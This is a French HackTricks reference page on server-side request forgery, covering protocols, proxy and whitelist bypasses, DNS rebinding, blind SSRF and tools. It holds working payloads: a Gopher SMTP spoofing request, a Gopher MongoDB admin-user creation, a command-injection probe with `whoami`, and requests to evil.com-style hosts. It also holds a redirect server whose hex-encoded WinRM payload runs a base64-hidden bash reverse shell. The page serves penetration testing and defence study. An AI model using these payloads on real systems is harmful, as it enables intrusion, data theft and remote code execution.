SSRF (Server Side Request Forgery)
Tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d’abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.
Informations de base
Une vulnérabilité de Server-side Request Forgery (SSRF) se produit lorsqu’un attaquant manipule une server-side application pour qu’elle effectue des HTTP requests vers un domaine de son choix. Cette vulnérabilité expose le serveur à des requêtes externes arbitraires dirigées par l’attaquant.
Capturer une SSRF
La première chose à faire est de capturer une interaction SSRF générée par vous. Pour capturer une interaction HTTP ou DNS, vous pouvez utiliser des outils tels que :
- Burp Collaborator
- pingb
- canarytokens
- interractsh
- http://webhook.site
- https://github.com/teknogeek/ssrf-sheriff
- http://requestrepo.com/
- https://github.com/stolenusername/cowitness
- https://github.com/dwisiswant0/ngocok - A Burp Collaborator using ngrok
Contournement des domaines en liste blanche
Généralement, vous constaterez que la SSRF ne fonctionne que sur certains domaines en liste blanche ou URL. Dans la page suivante, vous trouverez une compilation de techniques pour tenter de contourner cette liste blanche :
Contournement via Open Redirect
Si le serveur est correctement protégé, vous pourriez contourner toutes les restrictions en exploitant un Open Redirect présent dans la page web. Parce que la page autorisera une SSRF vers le même domaine et suivra probablement les redirects, vous pouvez exploiter l’Open Redirect pour amener le serveur à accéder à n’importe quelle ressource interne.
Read more here: https://portswigger.net/web-security/ssrf
Protocoles
- file://
- Le schéma d’URL
file://est mentionné, pointant directement vers/etc/passwd:file:///etc/passwd - dict://
- Le schéma d’URL DICT est décrit comme étant utilisé pour accéder à des définitions ou listes de mots via le protocole DICT. L’exemple illustre une URL construite ciblant un mot spécifique, une base de données et un numéro d’entrée, ainsi qu’un cas où un script PHP pourrait être détourné pour se connecter à un serveur DICT avec des identifiants fournis par l’attaquant:
dict://<generic_user>;<auth>@<generic_host>:<port>/d:<word>:<database>:<n> - SFTP://
- Identifié comme un protocole de transfert de fichiers sécurisé sur SSH, un exemple montre comment un script PHP pourrait être exploité pour se connecter à un serveur SFTP malveillant :
url=sftp://generic.com:11111/ - TFTP://
- Trivial File Transfer Protocol, opérant sur UDP, est mentionné avec un exemple d’un script PHP conçu pour envoyer une requête à un serveur TFTP. Une requête TFTP est faite vers ‘generic.com’ sur le port ‘12346’ pour le fichier ‘TESTUDPPACKET’ :
ssrf.php?url=tftp://generic.com:12346/TESTUDPPACKET - LDAP://
- Ce segment couvre le Lightweight Directory Access Protocol, en soulignant son utilisation pour gérer et accéder à des services d’annuaire distribués sur les réseaux IP. Interagir avec un serveur LDAP sur localhost :
'%0astats%0aquit' via ssrf.php?url=ldap://localhost:11211/%0astats%0aquit. - SMTP
- Une méthode est décrite pour exploiter des vulnérabilités SSRF afin d’interagir avec des services SMTP sur localhost, incluant des étapes pour révéler des noms de domaine internes et des actions d’investigation supplémentaires basées sur ces informations.
From https://twitter.com/har1sec/status/1182255952055164929
1. connect with SSRF on smtp localhost:25
2. from the first line get the internal domain name 220[ http://blabla.internaldomain.com ](https://t.co/Ad49NBb7xy)ESMTP Sendmail
3. search[ http://internaldomain.com ](https://t.co/K0mHR0SPVH)on github, find subdomains
4. connect
- Curl URL globbing - WAF bypass
- Si le SSRF est exécuté par curl, curl possède une fonctionnalité appelée URL globbing qui pourrait être utile pour bypasser les WAFs. Par exemple, dans ce writeup vous trouverez cet exemple de path traversal via
fileprotocol:
file:///app/public/{.}./{.}./{app/public/hello.html,flag.txt}
- Gopher://
- Le protocole Gopher permet de spécifier l’IP, le port et les bytes pour la communication avec le serveur, et des outils comme Gopherus et remote-method-guesser sont présentés pour créer des payloads. Deux usages distincts sont illustrés :
Gopher://
En utilisant ce protocole vous pouvez spécifier les IP, port and bytes que vous voulez que le serveur envoie. Ensuite, vous pouvez essentiellement exploiter une SSRF pour communiquer avec n’importe quel TCP server (mais vous devez d’abord savoir comment parler au service).
Heureusement, vous pouvez utiliser Gopherus pour créer des payloads pour plusieurs services. De plus, remote-method-guesser peut être utilisé pour créer des gopher payloads pour des services Java RMI.
Gopher smtp
ssrf.php?url=gopher://127.0.0.1:25/xHELO%20localhost%250d%250aMAIL%20FROM%3A%3Chacker@site.com%3E%250d%250aRCPT%20TO%3A%3Cvictim@site.com%3E%250d%250aDATA%250d%250aFrom%3A%20%5BHacker%5D%20%3Chacker@site.com%3E%250d%250aTo%3A%20%3Cvictime@site.com%3E%250d%250aDate%3A%20Tue%2C%2015%20Sep%202017%2017%3A20%3A26%20-0400%250d%250aSubject%3A%20AH%20AH%20AH%250d%250a%250d%250aYou%20didn%27t%20say%20the%20magic%20word%20%21%250d%250a%250d%250a%250d%250a.%250d%250aQUIT%250d%250a
will make a request like
HELO localhost
MAIL FROM:<hacker@site.com>
RCPT TO:<victim@site.com>
DATA
From: [Hacker] <hacker@site.com>
To: <victime@site.com>
Date: Tue, 15 Sep 2017 17:20:26 -0400
Subject: Ah Ah AHYou didn't say the magic word !
.
QUIT
Gopher HTTP
#For new lines you can use %0A, %0D%0A
gopher://<server>:8080/_GET / HTTP/1.0%0A%0A
gopher://<server>:8080/_POST%20/x%20HTTP/1.0%0ACookie: eatme%0A%0AI+am+a+post+body
Gopher SMTP — Back connect vers 1337
<?php
header("Location: gopher://hack3r.site:1337/_SSRF%0ATest!");
?>Now query it.
https://example.com/?q=http://evil.com/redirect.php.
Gopher MongoDB – Créer un utilisateur avec username=admin, password=admin123 et permission=administrator
# Check: https://brycec.me/posts/dicectf_2023_challenges#unfinished
curl 'gopher://0.0.0.0:27017/_%a0%00%00%00%00%00%00%00%00%00%00%00%dd%0
7%00%00%00%00%00%00%00%8b%00%00%00%02insert%00%06%00%00%00users%00%02$db%00%0a
%00%00%00percetron%00%04documents%00V%00%00%00%030%00N%00%00%00%02username%00%
06%00%00%00admin%00%02password%00%09%00%00%00admin123%00%02permission%00%0e%00
%00%00administrator%00%00%00%00'
SSRF via Referrer header & Autres
Les logiciels d’analyse sur les serveurs enregistrent souvent l’en-tête Referrer pour suivre les liens entrants, une pratique qui expose involontairement les applications à des vulnérabilités Server-Side Request Forgery (SSRF). En effet, ces logiciels peuvent visiter les URL externes mentionnées dans l’en-tête Referrer pour analyser le contenu du site référent. Pour déceler ces vulnérabilités, il est conseillé d’utiliser le plugin Burp Suite “Collaborator Everywhere”, en tirant parti de la façon dont les outils d’analyse traitent l’en-tête Referer pour identifier les surfaces d’attaque SSRF potentielles.
SSRF via données SNI du certificat
Une mauvaise configuration pouvant permettre la connexion à n’importe quel backend via un réglage simple est illustrée par un exemple de configuration Nginx :
stream {
server {
listen 443;
resolver 127.0.0.11;
proxy_pass $ssl_preread_server_name:443;
ssl_preread on;
}
}
Dans cette configuration, la valeur du champ Server Name Indication (SNI) est utilisée directement comme adresse du backend. Cette configuration expose une vulnérabilité à Server-Side Request Forgery (SSRF), qui peut être exploitée simplement en spécifiant l’adresse IP ou le nom de domaine souhaité dans le champ SNI. Un exemple d’exploitation pour forcer une connexion vers un backend arbitraire, tel que internal.host.com, en utilisant la commande openssl est donné ci-dessous :
openssl s_client -connect target.com:443 -servername "internal.host.com" -crlf
SSRF via TLS AIA CA Issuers (Java mTLS)
Certain stacks TLS téléchargeront automatiquement des CA intermédiaires manquantes en utilisant la URI Authority Information Access (AIA) → CA Issuers présente dans le certificat du pair. En Java, activer -Dcom.sun.security.enableAIAcaIssuers=true lors de l’exécution d’un service mTLS fait que le serveur déréférence des URI contrôlées par l’attaquant depuis le certificat client pendant le handshake, avant que toute logique HTTP ne s’exécute.
- Exigences : mTLS activé, récupération AIA Java activée, l’attaquant peut présenter un certificat client avec une URI AIA CA Issuers forgée.
- Déclenchement de SSRF (exemple Java 21) :
java -Djava.security.debug=certpath \
-Dcom.sun.security.enableAIAcaIssuers=true \
-Dhttp.agent="AIA CA Issuers PoC" -jar server.jar
# Attacker cert AIA: http://localhost:8080
nc -l 8080 -k # observe the outbound fetch
curl https://mtls-server:8444 --key client-aia-key.pem --cert client-aia-localhost-cert.pem --cacert ca-cert.pem
La sortie de debug certpath de Java montre CertStore URI:http://localhost:8080, et nc capture la requête HTTP avec le User-Agent contrôlable depuis -Dhttp.agent, prouvant le SSRF pendant la validation du certificat.
- DoS via file:// : définir AIA CA Issuers sur
file:///dev/urandomsur des hôtes de type Unix fait que Java le traite comme un CertStore et lit des octets aléatoires sans limite, gardant un cœur CPU occupé et bloquant les connexions suivantes même après la déconnexion du client.
SSRF via CSS Pre-Processors
LESS est un pré-processeur CSS populaire qui ajoute des variables, mixins, fonctions et la puissante directive @import. Lors de la compilation le moteur LESS va récupérer les ressources référencées dans les instructions @import et incorporer (“inline”) leur contenu dans le CSS résultant lorsque l’option (inline) est utilisée.
Check how to exploit it in:
Wget file upload
SSRF with Command Injection
Il peut être utile d’essayer une charge utile comme : url=http://3iufty2q67fuy2dew3yug4f34.burpcollaborator.net?`whoami`
Création de PDF
Si la page web crée automatiquement un PDF avec des informations que vous avez fournies, vous pouvez insérer du JS qui sera exécuté par le générateur de PDF lui-même (le serveur) lors de la création du PDF et vous pourrez abuser d’un SSRF. Find more information here.
De SSRF à DoS
Créez plusieurs sessions et essayez de télécharger des fichiers lourds en exploitant le SSRF depuis les sessions.
SSRF PHP Functions
Consultez la page suivante pour des fonctions PHP vulnérables et même des fonctions Wordpress :
SSRF Redirect to Gopher
Pour certaines exploitations vous pourriez avoir besoin d’envoyer une réponse de redirection (potentiellement pour utiliser un protocole différent comme gopher). Voici différents codes python pour répondre avec une redirection :
# First run: openssl req -new -x509 -keyout server.pem -out server.pem -days 365 -nodes
from http.server import HTTPServer, BaseHTTPRequestHandler
import ssl
class MainHandler(BaseHTTPRequestHandler):
def do_GET(self):
print("GET")
self.send_response(301)
self.send_header("Location", "gopher://127.0.0.1:5985/_%50%4f%53%54%20%2f%77%73%6d%61%6e%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20%31%30%2e%31%30%2e%31%31%2e%31%31%37%3a%35%39%38%36%0d%0a%55%73%65%72%2d%41%67%65%6e%74%3a%20%70%79%74%68%6f%6e%2d%72%65%71%75%65%73%74%73%2f%32%2e%32%35%2e%31%0d%0a%41%63%63%65%70%74%2d%45%6e%63%6f%64%69%6e%67%3a%20%67%7a%69%70%2c%20%64%65%66%6c%61%74%65%0d%0a%41%63%63%65%70%74%3a%20%2a%2f%2a%0d%0a%43%6f%6e%6e%65%63%74%69%6f%6e%3a%20%63%6c%6f%73%65%0d%0a%43%6f%6e%74%65%6e%74%2d%54%79%70%65%3a%20%61%70%70%6c%69%63%61%74%69%6f%6e%2f%73%6f%61%70%2b%78%6d%6c%3b%63%68%61%72%73%65%74%3d%55%54%46%2d%38%0d%0a%43%6f%6e%74%65%6e%74%2d%4c%65%6e%67%74%68%3a%20%31%37%32%38%0d%0a%0d%0a%3c%73%3a%45%6e%76%65%6c%6f%70%65%20%78%6d%6c%6e%73%3a%73%3d%22%68%74%74%70%3a%2f%2f%77%77%77%2e%77%33%2e%6f%72%67%2f%32%30%30%33%2f%30%35%2f%73%6f%61%70%2d%65%6e%76%65%6c%6f%70%65%22%20%78%6d%6c%6e%73%3a%61%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%38%2f%61%64%64%72%65%73%73%69%6e%67%22%20%78%6d%6c%6e%73%3a%68%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%6d%69%63%72%6f%73%6f%66%74%2e%63%6f%6d%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%69%6e%64%6f%77%73%2f%73%68%65%6c%6c%22%20%78%6d%6c%6e%73%3a%6e%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%39%2f%65%6e%75%6d%65%72%61%74%69%6f%6e%22%20%78%6d%6c%6e%73%3a%70%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%6d%69%63%72%6f%73%6f%66%74%2e%63%6f%6d%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%73%6d%61%6e%2e%78%73%64%22%20%78%6d%6c%6e%73%3a%77%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%73%6d%61%6e%2e%78%73%64%22%20%78%6d%6c%6e%73%3a%78%73%69%3d%22%68%74%74%70%3a%2f%2f%77%77%77%2e%77%33%2e%6f%72%67%2f%32%30%30%31%2f%58%4d%4c%53%63%68%65%6d%61%22%3e%0a%20%20%20%3c%73%3a%48%65%61%64%65%72%3e%0a%20%20%20%20%20%20%3c%61%3a%54%6f%3e%48%54%54%50%3a%2f%2f%31%39%32%2e%31%36%38%2e%31%2e%31%3a%35%39%38%36%2f%77%73%6d%61%6e%2f%3c%2f%61%3a%54%6f%3e%0a%20%20%20%20%20%20%3c%77%3a%52%65%73%6f%75%72%63%65%55%52%49%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%3c%2f%77%3a%52%65%73%6f%75%72%63%65%55%52%49%3e%0a%20%20%20%20%20%20%3c%61%3a%52%65%70%6c%79%54%6f%3e%0a%20%20%20%20%20%20%20%20%20%3c%61%3a%41%64%64%72%65%73%73%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%38%2f%61%64%64%72%65%73%73%69%6e%67%2f%72%6f%6c%65%2f%61%6e%6f%6e%79%6d%6f%75%73%3c%2f%61%3a%41%64%64%72%65%73%73%3e%0a%20%20%20%20%20%20%3c%2f%61%3a%52%65%70%6c%79%54%6f%3e%0a%20%20%20%20%20%20%3c%61%3a%41%63%74%69%6f%6e%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%2f%45%78%65%63%75%74%65%53%68%65%6c%6c%43%6f%6d%6d%61%6e%64%3c%2f%61%3a%41%63%74%69%6f%6e%3e%0a%20%20%20%20%20%20%3c%77%3a%4d%61%78%45%6e%76%65%6c%6f%70%65%53%69%7a%65%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%31%30%32%34%30%30%3c%2f%77%3a%4d%61%78%45%6e%76%65%6c%6f%70%65%53%69%7a%65%3e%0a%20%20%20%20%20%20%3c%61%3a%4d%65%73%73%61%67%65%49%44%3e%75%75%69%64%3a%30%41%42%35%38%30%38%37%2d%43%32%43%33%2d%30%30%30%35%2d%30%30%30%30%2d%30%30%30%30%30%30%30%31%30%30%30%30%3c%2f%61%3a%4d%65%73%73%61%67%65%49%44%3e%0a%20%20%20%20%20%20%3c%77%3a%4f%70%65%72%61%74%69%6f%6e%54%69%6d%65%6f%75%74%3e%50%54%31%4d%33%30%53%3c%2f%77%3a%4f%70%65%72%61%74%69%6f%6e%54%69%6d%65%6f%75%74%3e%0a%20%20%20%20%20%20%3c%77%3a%4c%6f%63%61%6c%65%20%78%6d%6c%3a%6c%61%6e%67%3d%22%65%6e%2d%75%73%22%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%66%61%6c%73%65%22%20%2f%3e%0a%20%20%20%20%20%20%3c%70%3a%44%61%74%61%4c%6f%63%61%6c%65%20%78%6d%6c%3a%6c%61%6e%67%3d%22%65%6e%2d%75%73%22%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%66%61%6c%73%65%22%20%2f%3e%0a%20%20%20%20%20%20%3c%77%3a%4f%70%74%69%6f%6e%53%65%74%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%20%2f%3e%0a%20%20%20%20%20%20%3c%77%3a%53%65%6c%65%63%74%6f%72%53%65%74%3e%0a%20%20%20%20%20%20%20%20%20%3c%77%3a%53%65%6c%65%63%74%6f%72%20%4e%61%6d%65%3d%22%5f%5f%63%69%6d%6e%61%6d%65%73%70%61%63%65%22%3e%72%6f%6f%74%2f%73%63%78%3c%2f%77%3a%53%65%6c%65%63%74%6f%72%3e%0a%20%20%20%20%20%20%3c%2f%77%3a%53%65%6c%65%63%74%6f%72%53%65%74%3e%0a%20%20%20%3c%2f%73%3a%48%65%61%64%65%72%3e%0a%20%20%20%3c%73%3a%42%6f%64%79%3e%0a%20%20%20%20%20%20%3c%70%3a%45%78%65%63%75%74%65%53%68%65%6c%6c%43%6f%6d%6d%61%6e%64%5f%49%4e%50%55%54%20%78%6d%6c%6e%73%3a%70%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%22%3e%0a%20%20%20%20%20%20%20%20%20%3c%70%3a%63%6f%6d%6d%61%6e%64%3e%65%63%68%6f%20%2d%6e%20%59%6d%46%7a%61%43%41%74%61%53%41%2b%4a%69%41%76%5a%47%56%32%4c%33%52%6a%63%43%38%78%4d%43%34%78%4d%43%34%78%4e%43%34%78%4d%53%38%35%4d%44%41%78%49%44%41%2b%4a%6a%45%3d%20%7c%20%62%61%73%65%36%34%20%2d%64%20%7c%20%62%61%73%68%3c%2f%70%3a%63%6f%6d%6d%61%6e%64%3e%0a%20%20%20%20%20%20%20%20%20%3c%70%3a%74%69%6d%65%6f%75%74%3e%30%3c%2f%70%3a%74%69%6d%65%6f%75%74%3e%0a%20%20%20%20%20%20%3c%2f%70%3a%45%78%65%63%75%74%65%53%68%65%6c%6c%43%6f%6d%6d%61%6e%64%5f%49%4e%50%55%54%3e%0a%20%20%20%3c%2f%73%3a%42%6f%64%79%3e%0a%3c%2f%73%3a%45%6e%76%65%6c%6f%70%65%3e%0a")
self.end_headers()
httpd = HTTPServer(('0.0.0.0', 443), MainHandler)
httpd.socket = ssl.wrap_socket(httpd.socket, certfile="server.pem", server_side=True)
httpd.serve_forever()
from flask import Flask, redirect
from urllib.parse import quote
app = Flask(__name__)
@app.route('/')
def root():
return redirect('gopher://127.0.0.1:5985/_%50%4f%53%54%20%2f%77%73%6d%61%6e%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20', code=301)
if __name__ == "__main__":
app.run(ssl_context='adhoc', debug=True, host="0.0.0.0", port=8443)
Proxies mal configurés menant à SSRF
Astuces de cet article.
Flask
Code vulnérable du proxy Flask
```python from flask import Flask from requests import getapp = Flask(‘main’) SITE_NAME = ‘https://google.com’
@app.route(‘/’, defaults={‘path’: ‘’}) @app.route(‘/path:path’)
def proxy(path): return get(f’{SITE_NAME}{path}’).content
if name == “main”: app.run(threaded=False)
</details>
Flask permet d'utiliser **`@`** comme caractère initial, ce qui permet de faire du **nom d'hôte initial le nom d'utilisateur** et d'injecter un nouveau. Requête d'attaque:
```http
GET @evildomain.com/ HTTP/1.1
Host: target.com
Connection: close
Spring Boot
Code vulnérable :
.png)
Il a été découvert qu’il est possible de démarrer le path d’une requête avec le caractère ; qui permet ensuite d’utiliser @ et d’injecter un nouvel hôte à contacter. Requête d’attaque :
GET ;@evil.com/url HTTP/1.1
Host: target.com
Connection: close
Serveur web intégré PHP
Code PHP vulnérable
```php$proxy_site = $site.$current_uri; var_dump($proxy_site);
echo “\n\n”;
$response = file_get_contents($proxy_site); var_dump($response); ?>
</details>
PHP permet l'utilisation du **caractère `*` avant une barre oblique dans le chemin** de l'URL ; cependant, il présente d'autres limitations, comme le fait qu'il ne peut être utilisé que pour le chemin racine `/` et que les points `.` ne sont pas autorisés avant la première barre oblique, il est donc nécessaire d'utiliser, par exemple, une dotless-hex encoded IP address :
```http
GET *@0xa9fea9fe/ HTTP/1.1
Host: target.com
Connection: close
DNS Rebidding CORS/SOP bypass
Si vous rencontrez des problèmes pour exfiltrate content from a local IP à cause de CORS/SOP, DNS Rebidding peut être utilisé pour contourner cette limitation :
CORS - Misconfigurations & Bypass
DNS Rebidding automatisé
Singularity of Origin est un outil pour effectuer des attaques DNS rebinding. Il inclut les composants nécessaires pour rebind l’adresse IP du nom DNS du serveur d’attaque vers l’adresse IP de la machine cible et pour servir des attack payloads afin d’exploiter des logiciels vulnérables sur la machine cible.
Consultez aussi le serveur public disponible sur http://rebind.it/singularity.html
DNS Rebidding + TLS Session ID/Session ticket
Prérequis:
- SSRF
- Outbound TLS sessions
- Services sur des ports locaux
Attaque:
- Demandez à l’utilisateur/bot d’accéder à un domain contrôlé par l’attacker
- Le TTL du DNS est 0 sec (donc la victime vérifiera l’IP du domaine à nouveau bientôt)
- Une TLS connection est créée entre la victime et le domaine de l’attacker. L’attacker introduit le payload inside le Session ID or Session Ticket.
- Le domain lancera une boucle infinie de redirections contre lui-même. Le but est de faire en sorte que l’utilisateur/bot accède au domaine jusqu’à ce qu’il effectue à nouveau une DNS request pour ce domaine.
- Dans la requête DNS une private IP est fournie maintenant (127.0.0.1 par exemple)
- L’utilisateur/bot tentera de reestablish the TLS connection et pour ce faire il enverra le Session ID/Ticket ID (où était contenu le payload de l’attacker). Félicitations : vous avez réussi à faire en sorte que le user/bot s’attaque lui-même.
Notez que pendant cette attaque, si vous voulez attaquer localhost:11211 (memcache) vous devez faire en sorte que la victime établisse la connexion initiale avec www.attacker.com:11211 (le port doit toujours être le même).
Pour effectuer cette attaque vous pouvez utiliser l’outil : https://github.com/jmdx/TLS-poison/
Pour plus d’informations regardez la présentation où cette attaque est expliquée : https://www.youtube.com/watch?v=qGpAJxfADjo&ab_channel=DEFCONConference
Blind SSRF
La différence entre un blind SSRF et un SSRF non-blind est que dans le blind vous ne pouvez pas voir la réponse de la requête SSRF. Il est donc plus difficile à exploiter car vous ne pourrez exploiter que des vulnérabilités bien connues.
Time based SSRF
En vérifiant le temps des réponses du serveur, il peut être possible de savoir si une ressource existe ou non (il peut prendre plus de temps d’accéder à une ressource existante que d’accéder à une qui n’existe pas)
From blind to full abusing status codes
Selon ce blog post, certains blind SSRF peuvent se produire parce que même si l’URL ciblée répond avec un code 200 (comme les AWS metadata), ces data ne sont pas correctement formatées et l’application peut refuser de les afficher.
Cependant, il a été constaté qu’en renvoyant certaines responses de redirection avec des codes de 305 à 309 via le SSRF, il est possible de faire en sorte que l’application suive ces redirections tout en entrant dans un mode d’erreur qui ne vérifie plus le format des données et peut simplement les afficher.
Le serveur python utilisé pour exploiter cela est le suivant :
@app.route("/redir")
def redir():
count = int(request.args.get("count", 0)) + 1
# Pump out 305, 306, 307, 308, 309, 310 ...
weird_status = 301 + count
if count >= 10: # after 5 “weird” codes
return redirect(METADATA_URL, 302)
return redirect(f"/redir?count={count}", weird_status)
@app.route("/start")
def start():
return redirect("/redir", 302)
Étapes :
- D’abord, le 302 amène l’application à commencer à suivre.
- Ensuite elle reçoit 305 → 306 → 307 → 308 → 309 → 310.
- Après le 5e code étrange, le PoC renvoie enfin 302 → 169.254.169.254 → 200 OK.
Ce qui se passe à l’intérieur de la cible :
- libcurl lui‑même suit 305–310 ; il se contente de normaliser les codes inconnus en “follow.”
- Après N redirections étranges (≥ 5 ici), le wrapper de l’application décide « quelque chose cloche » et bascule en mode erreur prévu pour le débogage.
- Dans ce mode, il renvoie toute la chaîne de redirections ainsi que le corps final à l’appelant externe.
- Résultat : l’attaquant voit tous les headers + le metadata JSON, mission accomplie.
Notez que cela permet de leak des status codes que vous ne pouviez pas leak auparavant (comme un 200). Cependant, si d’une manière ou d’une autre vous pouviez aussi sélectionner le status code de la réponse (imaginez que vous puissiez décider que les AWS metadata répondent avec un status code 500), il se peut que certains status codes divulguent directement le contenu de la réponse.
HTML-to-PDF renderers as blind SSRF gadgets
Libraries such as TCPDF (and wrappers like spipu/html2pdf) will automatically fetch any URLs present in attacker-controlled HTML while rendering a PDF. Each <img> or <link rel="stylesheet"> attribute is resolved server-side via cURL, getimagesize(), or file_get_contents(), so you can drive the PDF worker to probe internal hosts even though no HTTP response is reflected to you.
<html>
<body>
<img width="1" height="1" src="http://127.0.0.1:8080/healthz">
<link rel="stylesheet" type="text/css" href="http://10.0.0.5/admin" />
</body>
</html>
- TCPDF 6.10.0 effectue plusieurs tentatives de récupération pour chaque ressource
<img>, donc un seul payload peut générer plusieurs requêtes (utile pour des timing-based port scans). - html2pdf reproduit le comportement de TCPDF pour
<img>et ajoute la récupération de CSS dansCss::extractStyle(), qui appelle simplementfile_get_contents($href)après une vérification superficielle du schéma. Abusez-en pour atteindre des services loopback, des plages RFC1918, ou cloud metadata endpoints. - Combinez cette primitive SSRF avec les HTML-to-PDF path traversal tricks pour leak à la fois les réponses HTTP internes et les fichiers locaux rendus dans le PDF.
Les responsables de la sécurité devraient supprimer les URLs externes avant le rendu ou isoler le renderer dans un sandbox réseau ; d’ici là, considérez les générateurs de PDF comme des SSRF proxies aveugles.
Exploitation SSRF dans le cloud
Si vous trouvez une vulnérabilité SSRF sur une machine exécutée dans un environnement cloud, vous pourriez obtenir des informations intéressantes sur l’environnement cloud et même des identifiants :
Plateformes vulnérables à SSRF
Plusieurs plateformes connues contiennent ou ont contenu des vulnérabilités SSRF ; consultez-les dans :
Outils
SSRFMap
Outil pour détecter et exploiter des vulnérabilités SSRF
Gopherus
Cet outil génère des Gopher payloads pour :
- MySQL
- PostgreSQL
- FastCGI
- Redis
- Zabbix
- Memcache
remote-method-guesser
remote-method-guesser est un scanner de vulnérabilités Java RMI qui prend en charge des opérations d’attaque pour la plupart des vulnérabilités courantes Java RMI. La plupart des opérations disponibles supportent l’option --ssrf, pour générer un payload SSRF pour l’opération demandée. Avec l’option --gopher, des payloads gopher prêts à l’emploi peuvent être générés directement.
SSRF Proxy
SSRF Proxy est un serveur proxy HTTP multi-threadé conçu pour faire transiter le trafic HTTP client via des serveurs HTTP vulnérables à Server-Side Request Forgery (SSRF).
Pour s’entraîner
Références
- https://medium.com/@pravinponnusamy/ssrf-payloads-f09b2a86a8b4
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Request%20Forgery
- https://www.invicti.com/blog/web-security/ssrf-vulnerabilities-caused-by-sni-proxy-misconfigurations/
- https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies
- Positive Technologies – Blind Trust: What Is Hidden Behind the Process of Creating Your PDF File?
- Tenable – SSRF Vulnerability in Java TLS Handshakes That Creates DoS Risk
- RFC 5280 §4.2.2.1 Authority Information Access
Tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d’abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.


